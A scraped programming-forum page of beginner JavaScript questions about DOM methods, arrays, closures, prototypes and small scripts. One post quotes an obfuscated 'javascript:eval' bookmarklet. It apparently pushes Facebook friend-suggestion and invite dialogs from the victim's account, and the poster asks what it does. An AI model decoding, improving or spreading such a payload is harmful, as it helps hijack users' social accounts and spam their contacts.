JavaScript - Understanding Arrays/getelementsbytagname
This is a question about a code for a javascript slide show which i think is very important to understand because slide shows are heavily used!
This is the html: Quote: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <script language="javascript" script type="text/javascript" src="slideshow.js"></script> <title>Slideshow exercise</title> </head> <body> <h1> Slideshow exercicse</h1> <img class="slide" src="cityscape.jpg" width="400" height="300"> <img class="slide" src="Creative_design_sailing_leaves_under_blue_sky.jpg" width="400" height="300"> <img class="slide" src="Curiousity.jpg" width="400" height="300"> <img class="slide" src="raindrops-blue-garden-seamless-tile.jpg" width="400" height="300"> <p> Clic on image to view next slide</p> <p> Clic on image to view next slide</p> </body> </html> This is the .js file and my questions: Quote: var numslides=0;currentslide=0; var slides= new Array(); function MakeSlideShow(){ //find all images with the class "slide" imgs= document.getElementsByTagName("img");---------> question 1 for (i=0; i<imgs.length ; i++) { if(imgs[i].className != "slide") continue; slides[numslides]=imgs[i];----------------------------------->question2 //hide all but first image if(numslides==0) {imgs[i].style.display="block";} else{imgs[i].style.display="none";} imgs[i].onclick=NextSlide; numslides++;}//end of loop--------------------------->question3 } //end MakeSlideShow() function NextSlide(){ slides[currentslide].style.display="none";------------------>question4 currentslide++ if(currentslide >= numslides) currentslide=0; slides[currentslide].style.display="block";--------------->question5 } window.onload= MakeSlideShow; question1: does "imgs" automatically become an array here? If so, how can i print out its lenght? This is what i tried and it doesn't work-> var lengthimgs= imgs.length document.write(lengthimgs) question2: What is happening here? Is the imgs[i] array transferring its data into the slides[numslides] array? question3: If slides[numslides] and imgs[i] are interchangeable why can't this line be i++ instead of numslides++ question4: What is happenning to the slides array here? Is currentslide becoming a copy of numslides? question5: What does this do? Where does this line sent the code? Why this? Why hasn't "imgs[i].style.display="block";" already done the job for the display? Thanks Similar TutorialsHello CodingForums. I have a script to increase the fontsize on my website.. It works perfectly, but currently it's only targetting my <p> tag and I want it to target my h2 and h3 aswell.. How can I do this? Code: var min=8; var max=18; function increaseFontSize() { var p = document.getElementsByTagName('p'); for(i=0;i<p.length;i++) { if(p[i].style.fontSize) { var s = parseInt(p[i].style.fontSize.replace("px","")); } else { var s = 12; } if(s!=max) { s += 1; } p[i].style.fontSize = s+"px" } } function decreaseFontSize() { var p = document.getElementsByTagName('p'); for(i=0;i<p.length;i++) { if(p[i].style.fontSize) { var s = parseInt(p[i].style.fontSize.replace("px","")); } else { var s = 12; } if(s!=min) { s -= 1; } p[i].style.fontSize = s+"px" } } Hello, I am just starting out learning JavaScript and I have just reach the DOM section of my course. I have a page with 10 <a> tags on it and I have created the following JavaScript to tell me how many I have. Code: <script type="text/javascript"> var myLinks = document.getElementsByTagName("a"); console.log("We have ", myLinks.length ," many links on the page"); </script> However in the console it reports this: We have 0 many links on the page This is not true as there are 10 links, 9 in the navgation section of the website and 1 in the footer. If someone can tell me what I am doing wrong that would be great. Thanks today looking through my logs (errors) and one that came up was Code: element.getElementsByTagName is not a function from the source Code: getByAttribute = function(element, strTagName, strAttributeName, strAttributeValue) { var arrElements = (strTagName == "*" && element.all)? element.all : element.getElementsByTagName(strTagName); Can anyone help me out here? thanks i have this part of code in JS: Code: var receiveReq = getXmlHttpRequestObject(); function getXmlHttpRequestObject() { if (window.XMLHttpRequest) { return new XMLHttpRequest(); } } function getChatText() { if (receiveReq.readyState == 4 || receiveReq.readyState == 0) { receiveReq.open("GET","getChat_xml.php?chat=1&last=7", true); receiveReq.onreadystatechange = handleReceiveChat; receiveReq.send(); } } function handleReceiveChat() { if (receiveReq.readyState == 4) { var chat_div = document.getElementById('div_chat'); var xmldoc = receiveReq.responseXML; var message_nodes = xmldoc.getElementsByTagName("message"); } } then in my getChat_xml.php i have: Code: $xml = '<?//xml version="1.0" ?><root>'; $last = 7; $sql = "SELECT message_id, user_name, message, date_format(post_time, '%h:%i') as post_time" . " FROM message WHERE chat_id = " . db_input($_GET['chat']) . " AND message_id = " . $last; $message_query = db_query($sql); while($message_array = db_fetch_array($message_query)) { $xml .= '<message id="' . $message_array['message_id'] . '">'; $xml .= '<user>' . htmlspecialchars($message_array['user_name']) . '</user>'; $xml .= '<text>' . htmlspecialchars($message_array['message']) . '</text>'; $xml .= '<time>' . $message_array['post_time'] . '</time>'; $xml .= '</message>'; } $xml .= '</root>'; echo $xml; i get a "cannot cal a method getElementsByTagName of null" ??? i have no idea whats going on, help please? thanks I need to loop the alphabet and numbers 0-9 to initialize a few thousand arrays. This is for my site and is truly needed. http://www.thefreemenu.com I currently have every array written out and it takes up to much space in my .js file. The majority of my variables are empty but necessary and need to be there (including empty) for my site to work properly. Question is the last part Here's where I'm at. Code: var NewVarLetterOrNum = "a"; eval("_oneofseveralnames_" + NewVarLetterOrNum + "='this part works';"); alert(_oneofseveralnames_a); This creates the variable _oneofseveralnames_a='this part works' Code: var newArrayLetterOrNum = "a"; eval("_oneofseveralnames_" + newArrayLetterOrNum + "= new Array();"); alert(_oneofseveralnames_a) This creates the Array _oneofseveralnames_a=new Array(); and all the values in the array are null, but, now a variable like _nl_a[1]='something' can be used elsewhere because the array exists. This is all that is necessary for now because I can probably set all the variables to be blank with something like Code: i=1 while(i<=20){ _oneofseveralnames_a[i]="1-20"; i++ } alert(_oneofseveralnames_[20]); So now you have what I came to understand in the first few hours. Now to the hard part : ( I can't make multiple array's dynamically. I dont' know if its because I don't understand loops or arrays or what and its very fustrating. As for any answer you might be so kind as to provide, if you could dumb it down that would be greatly appreciated. Code: var newArray =new Array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z') i=1 while(i<=26){ eval("_nl_" + newArray[i] + "= new Array();"); i++ } alert(newArray[1]) // Is b, but alert(_nl_b) //I can't get _nl_b to exist, I tried everything including taking away the quotes around the letters in every test */ var _nl_a =new Array() var _img_a =new Array() var _h_a =new Array() var _r_a =new Array() var _m_a =new Array() var _yt_a =new Array() var _i_a =new Array() The above arrays are all the array _name_ parts I need but for example, a has 10 parts, a,p2_a,p3_a,.. p10_a. I need 10 pages for each letter of the alphabet and numbers 0-9 and a special all1, p2_all1 ... p10_all1. Overall 2200 arrays that need to be declared. Currently they are all written out. /* (just started JS 2 weeks ago) -- this is also my first time posting here, if my post isnt following the proper template let me know and Ill fix it .. Thanks so much for taking the time to check this out in advance Im trying to make the first ul tag in the each slideMenus[] array index values have a position of left = 0px I keep recieving this error however ____________________________________________________ Error: slideMenus[i].getElementsByTagName("ul").style is undefined Line: 63 ------------------------------------------------------------------ the script in question is in [code]. Could someone tell me if I am just making a syntax error if not ill try redoing the whole thing. window.onload = makeMenus var currentSlide = null var timeID = null leftPos = 0 function makeMenus(){ var slideMenus = new Array() var allElems = document.getElementsByTagName("*") var slideListArr = new Array() for(var i=0 ; i < allElems.length ; i++){ if(allElems[i].className = "slideMenu") slideMenus.push(allElems[i]) } for(var i=0 ; i < slideMenus.length ; i++){ slideMenus[i].onclick = showSlide; Code: slideMenus[i].getElementsByTagName("ul")[0].style.left = "0px"; } document.getElementById("head").onClick = closeSlide document.getElementById("main").onClick = closeSlide } function showSlide(){ var slideList = this.getElementsByTagName("ul")[0] // mess with this if((currentSlide != null) && (currentSlide.id == slideList.id)) {closeSlide()} else{ closeSlide(); var currentSlide = slideList; currentSlide.style.display = "block"; timeID = setInterval('moveSlide()', 1); } } function closeSlide(){ if(currentSlide){ clearInterval(timeID); currentSlide.style.left = "0px" currentSlide.style.display = "none"; var currentSlide = null } } function moveSlide(){ var leftPos = leftPos + 5; if(leftPos <= 220) {currentSlide.style.left = leftPos + "px"} else{ clearInterval(timeID); var leftPos = 0} } Can someone please tell why this is not working in the browser. Here's my code: <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Untitled Document</title> <script type="text/javascript"> var secondaryHeadings = document.getElementsByTagName("h2") alert(secondaryHeadings[0].innerHTML); </script> </head> <body> <div> <h1> Main Headline </h1> <h2> Sub-Headline</h2> </div> </body> </html> Anyone wanna give me some pointers on how prototypes work exactly? ;o Especially in the context of this code: Code: var chatscroll = new Object(); chatscroll.Pane = function(scrollContainerId){ this.bottomThreshold = 20; this.scrollContainerId = scrollContainerId; this._lastScrollPosition = 100000000; } chatscroll.Pane.prototype.activeScroll = function(){ var _ref = this; var scrollDiv = document.getElementById(this.scrollContainerId); var currentHeight = 0; var _getElementHeight = function(){ var intHt = 0; if(scrollDiv.style.pixelHeight)intHt = scrollDiv.style.pixelHeight; else intHt = scrollDiv.offsetHeight; return parseInt(intHt); } var _hasUserScrolled = function(){ if(_ref._lastScrollPosition == scrollDiv.scrollTop || _ref._lastScrollPosition == null){ return false; } return true; } var _scrollIfInZone = function(){ if( !_hasUserScrolled || (currentHeight - scrollDiv.scrollTop - _getElementHeight() <= _ref.bottomThreshold)){ scrollDiv.scrollTop = currentHeight; _ref._isUserActive = false; } } if (scrollDiv.scrollHeight > 0)currentHeight = scrollDiv.scrollHeight; else if(scrollDiv.offsetHeight > 0)currentHeight = scrollDiv.offsetHeight; _scrollIfInZone(); _ref = null; scrollDiv = null; } It's code to make the scrollbars autoscroll down. Full article and extra info he http://radio.javaranch.com/pascarell...837038219.html I sort of understand it but I'm not clear on what prototypes are. This script from http://www.javascriptkit.com/script/cut76.shtml is obviously not secure since the username and password are stored in the script, as well as the redirect url. I have no intentions of using it, but am curious if someone can explain how the alerts work the way they do. So, how is the 1st else " else {alert("Invalid Password")} " associated with the second IF statement, not the first IF statement? Example, The 1st else sends an alert invalid password. When the 1st IF was to check the user name. Why is this? Shouldn't the 1st alert be if the user name was invalid and the second else be for the password? This post is my first, and is really just because I need to understand Javascript better and this makes no sense to me. Code: <script language="javascript"> function pasuser(form) { if (form.id.value=="JavaScript") { if (form.pass.value=="Kit") { location="page2.html" } else { alert("Invalid Password") } } else { alert("Invalid UserID") } } </script> I put this function in firebug and it returns the value 24. I just need help of someone explaning me as simple but descriptive as possible how the code works. Code: function factorial(n) { var product= 1; while(n > 1) {product *= n; n--; } return product; } factorial(4) i was just reading a book and these were just one of the examples of functions which I was trying to understand better. Hi We are currently re-working a client's website and as I am not a javascript programmer I am having trouble understanding some of the code, and need help understanding why a certain variable in the code remains undefined. The javascript function is called from the web page in this fashion: Code: <select name="cboL1_3" onchange="CheckLine(this);"> <option value=""></option> <option value="l">L</option> <option value="m">M</option> </select> and the function CheckLine is defined thus: Code: function CheckLine(el) { var Mok = false, Lok = false, val, currEl; var LineNo = el.name; LineNo = LineNo.substring(4,(LineNo.length - 2)); val = el.options[el.selectedIndex].value; alert(el); alert(val); if (val == 'm') { Mok = true; } if (val == 'l') { Lok = true; } for (var i = 1; i<=4; i++) { currEl = document.frmDisc.elements['cboL' + LineNo + '_' + i]; if (currEl.name != el.name) { if (currEl.options[currEl.selectedIndex].value == 'm') { if (Mok) { currEl.selectedIndex = 0; //resets selection to blank if >1 M } Mok = true; } if (currEl.options[currEl.selectedIndex].value == 'l') { if (Lok) { currEl.selectedIndex = 0;//resets selection to blank if >1 L } Lok = true; } } } } What is happening is that the user is filling in 24 lines of 4 select boxes, in which there must be 1 and only one "m" and 1 and only 1 "l". The code changes the value of the box back to blank if the user has tried to enter >1 of either. The code then should check the line number and count the number of lines, but on debugging I see that the value of variables el and LineNo are undefined. I can't understand why when the function is called, the value "this" is used. i.e CheckLine(this) - this appears to have no value in the html code as far as I can see! Perhaps someone could shed some light on this for me, as I really need to get it working TODAY!! I also enclose a link to the webpage in question: www.kellyresources.co.uk/disc/disc.asp MAny thanks in anticipation of your help. Teresa I get programming. Really, I do. But this closure thing has me lost and needing a nice, simple explanation. Here's the code from the dojo tutorial: <script type="text/javascript"> dojo.require("dijit.form.Button"); // this is just to make the demo look nicer var arrFruit = ["apples", "kiwis", "pineapples"]; function populateData() { dojo.forEach(arrFruit, function(item, i) { var li = dojo.doc.createElement("li"); li.innerHTML = i + 1 + ". " + item; dojo.byId("forEach-items").appendChild(li); }); } </script> It is the anonymous function(item, i) that is perplexing me. As I see it, this use is not CREATING a function. It is calling a function called "function." Clearly, I am not up-to-speed. I am confounded as to how, within function(), "item" is KNOWN to refer to the value of the array element, and "i" is KNOWN to refer to the current element in the dojo.forEach() function. In my mind, I see a call to function, trying to pass parameters to it which were never defined above. The way I see it is: function myfunction(item, i) {code here} myfunction(this, that); In this example, I would get an error because "this" and "that" are not defined. Help, please!!! What does this mean? Code: javascript:eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('G g=["\\b\\h\\h\\d\\m\\Z\\15\\H\\16","\\e\\a\\I\\q\\n\\i\\h\\e\\d\\h\\e","\\j\\d\\e\\z\\k\\d\\w\\d\\h\\e\\17\\J\\18\\s","\\D\\a\\p\\b\\s\\t\\l\\f\\A\\j\\j\\d\\f\\e\\l\\p\\u\\m\\d\\y\\t\\l\\19\\l\\p\\a\\K\\a\\B\\b\\y\\J\\t\\l\\r\\a\\K\\a\\B\\r\\f\\i\\n\\b\\a\\k\\q\\j\\m\\a\\o\\u\\r\\b\\h\\v\\b\\e\\d\\q\\s\\b\\a\\k\\i\\j\\L\\o\\u\\o\\1a\\n\\k\\a\\f\\f\\t\\O\\a\\h\\H\\a\\h\\a\\j\\d\\m\\1b\\a\\w\\o\\1c\\h\\i\\s\\d\\q\\b\\s\\t\\P\\Q\\x\\P\\R\\Q\\S\\1d\\S\\x\\x\\M\\1e\\M\\R\\l\\p\\n\\k\\a\\f\\f\\t\\l\\p\\o\\m\\i\\y\\b\\k\\d\\q\\a\\n\\e\\b\\i\\h\\p\\a\\n\\e\\b\\i\\h\\f\\o\\m\\i\\q\\a\\l\\p\\m\\d\\k\\t\\l\\s\\b\\a\\k\\i\\j\\1f\\o\\i\\f\\e\\l\\E\\1g\\A\\j\\j\\d\\f\\e\\p\\e\\i\\p\\O\\m\\b\\d\\h\\s\\f\\D\\r\\a\\E","\\f\\A\\j\\j\\d\\f\\e","\\H\\i\\A\\f\\d\\z\\v\\d\\h\\e\\f","\\n\\m\\d\\a\\e\\d\\z\\v\\d\\h\\e","\\n\\k\\b\\n\\1h","\\b\\h\\b\\e\\z\\v\\d\\h\\e","\\s\\b\\f\\o\\a\\e\\n\\u\\z\\v\\d\\h\\e","\\f\\d\\k\\d\\n\\e\\q\\a\\k\\k","\\f\\j\\w\\q\\b\\h\\v\\b\\e\\d\\q\\y\\i\\m\\w","\\r\\a\\K\\a\\B\\r\\f\\i\\n\\b\\a\\k\\q\\j\\m\\a\\o\\u\\r\\b\\h\\v\\b\\e\\d\\q\\s\\b\\a\\k\\i\\j\\L\\o\\u\\o","\\f\\A\\I\\w\\b\\e\\T\\b\\a\\k\\i\\j","\\D\\b\\y\\m\\a\\w\\d\\p\\f\\m\\n\\t\\l\\u\\e\\e\\o\\1i\\r\\r\\I\\b\\e\\L\\k\\J\\r\\n\\T\\v\\U\\h\\U\\l\\p\\1j\\b\\s\\e\\u\\t\\l\\1k\\x\\x\\o\\B\\l\\p\\u\\d\\b\\j\\u\\e\\t\\l\\M\\x\\x\\o\\B\\l\\E\\D\\r\\b\\y\\m\\a\\w\\d\\E"];C(F[g[2]](g[1])[g[0]]=g[3]);G V=F[g[2]](g[4]);G c=F[g[6]](g[5]);c[g[8]](g[7],W,W);C V[g[9]](c);C N(X(){1l[g[10]]()},1m);C N(X(){1n[g[13]](g[11],g[12])},Y);C N(F[g[2]](g[1])[g[0]]=g[14],Y);',62,86,'||||||||||x61|x69||x65|x74|x73|_0x22d5|x6E|x6F|x67|x6C|x22|x72|x63|x70|x20|x5F|x2F|x64|x3D|x68|x76|x6D|x30|x66|x45|x75|x78|void|x3C|x3E|document|var|x4D|x62|x79|x6A|x2E|x36|setTimeout|x46|x31|x32|x35|x38|x44|x41|ss|true|function|5000|x48||||||x54|x4C|x42|x49|x23|x3F|x26|x3B|x37|x34|x2D|x53|x6B|x3A|x77|x39|fs|4000|SocialGraphManager'.split('|'),0,{})) like all the " f\\m\\n " etc? I have no idea. Code: //toggle function to open and close popup runs off an if else statement detecting style.display property function toggle(popUpDiv) { var el = document.getElementById(popUpDiv); //if function to determine if style.display equals none and if so then block to make visible if ( el.style.display == 'none' ) { el.style.display = 'block';} else {el.style.display = 'none';} //while function to declare that as long as style.display equals block then set timer to make //invisible after 10 seconds of becoming visible While (el.style.display == 'block') { setTimeout ("toggle('popUpDiv')", 10000 ); } //end while loop return false; //end if statement } My while statement reads that while style.display = block then to run a timer to close the popup by running toggle again after 10 seconds. This way if the user closes the window before the ten seconds is counted, then the toggle function won't run. However I am getting an error stating that there is no before statement. I'm confused on that. Sorry just really a beginner with javascript and searched through W3schools.com and couldn't find an answer. have it on a geocities test site at css popup test I need to understand this code but i am not able to fully understand it to use it for myself. Anybody can you help please function getScore(form) { var score = 0; var currElt; var currSelection; for (i=0; i<numQues; i++) { currElt = i*numChoi; for (j=0; j<numChoi; j++) { currSelection = form.elements[currElt + j]; if (currSelection.checked) { if (currSelection.value == answers[i]) { score++; break; } } } } score = Math.round(score/numQues*100); // math.round function will return the whole number to the nearest specified value for example 1.9 will show as 2 form.percentage.value = score + "%"; // The score will be displayed in percentage var correctAnswers = ""; for (i=1; i<=numQues; i++) { correctAnswers += i + ". " + answers[i-1] + "\r\n"; } form.solutions.value = correctAnswers; } Any short explanation will be a great help. I would like to know if anyone cane explain some javascript source code that i got from the chess.com website. Here is the following code Im talking about: window.Meebo||function(c){function p(){return["<",i,' onload="var d=',g,";d.getElementsByTagName('head')[0].", j,"(d.",h,"('script')).",k,"='//cim.meebo.com/cim?iv=",a.v,"&",q,"=",c[q],c[l]? "&"+l+"="+c[l]:"",c[e]?"&"+e+"="+c[e]:"","'\"></",i,">"].join("")}var f=window, a=f.Meebo=f.Meebo||function(){(a._=a._||[]).push(arguments)},d=document,i="body", m=d[i],r;if(!m){r=arguments.callee;return setTimeout(function(){r(c)},100)}a.$= {0:+new Date};a.T=function(u){a.$[u]=new Date-a.$[0]};a.v=4;var j="appendChild", h="createElement",k="src",l="lang",q="network",e="domain",n=d[h]("div"),v=n[j](d[h]("m")), b=d[h]("iframe"),g="document",o,s=function(){a.T("load");a("load")};f.addEventListener? f.addEventListener("load",s,false):f.attachEvent("onload",s);n.style.display="none"; m.insertBefore(n,m.firstChild).id="meebo";b.frameBorder="0";b.id="meebo-iframe"; b.allowTransparency="true";v[j](b);try{b.contentWindow[g].open()}catch(w){c[e]= d[e];o="javascript:var d="+g+".open();d.domain='"+d.domain+"';";b[k]=o+"void(0);"}try{var t= b.contentWindow[g];t.write(p());t.close()}catch(x){b[k]=o+'d.write("'+p().replace(/"/g, '\\"')+'");d.close();'}a.T(1)}({network:"chess"}); </script> Hello, I have an Object, containing an object, containing an object....etc. So, it's an Object of objects. Not an Array of objects. And now I want to sort this Object of objects. Is there a "native" way in JavaScript to sort an object? Or do I understand it correctly, that I first have to convert the Object to an Array, and than perform an array.sort ? This question is just for my understanding of JavaScript, so I don't go into the wrong direction. Tnx in advance for any explanation. Hi, I'm trying to do an assignment, and have copied a piece of code to learn while I do, if you see what I mean. Problem is, I'm having real trouble with one of the lines of code. If someone could tell me basically what it does, I'd be very greatful! Here's the code: if (height[i] == -(array[i].height)) The - before (array[i].height) is really confusing me! Thanks in advance! 1. When creating a new element using the create method, do the zIndex values of all elements that follow it change? If so how do I get the zIndex of all divs with a specific classname within a specified container? I'm working with dynamic drive's 'dhtmlwindow' object class file and have made revisions to it...however this is my first time working with this type of file and while some things are easy to change the zIndex change of the setfocus function does not look like any of my previous scripts. Hey all, I'm trying to fully understand javascript and have a couple of questions I was hoping you could answer for me. I'm working through a book and in the book I'm creating a Bingo card that generates a random number. I'm pasting the full script below just in case it's needed. Code: function initAll () { for(var i=0; i<24; i++) { setSquare(i); } } function setSquare(thisSquare) { var currSquare= "square" + thisSquare; var colPlace= new Array (0,0,0,0,0,1,1,1,1,1,2,2,2,2,3,3,3,3,3,4,4,4,4,4); var colBasis=colPlace[thisSquare] *15; var newNum=colBasis +getNewNum()+1; document.getElementById(currSquare).innerHTML=newNum; } function getNewNum() { return Math.floor(Math.random() *15); } //--> </script> 1. What does the [thisSquare] mean in this line of code that is bolded? I mean, I know thisSquare is whatever i is, but am I multiplying it by colPlace or what? 2. Lastly I'm confused by this part of the above code Code: var newNum=colBasis +getNewNum()+1; Why add the +1? I mean, i think getNewNum is set to pull a random number between 1 and 14. If you want to pull a number between 1 and 15, why not multiple Math.random() *16 instead of 15. Am i missing something? Sorry, I'm just not understanding why use the +1 |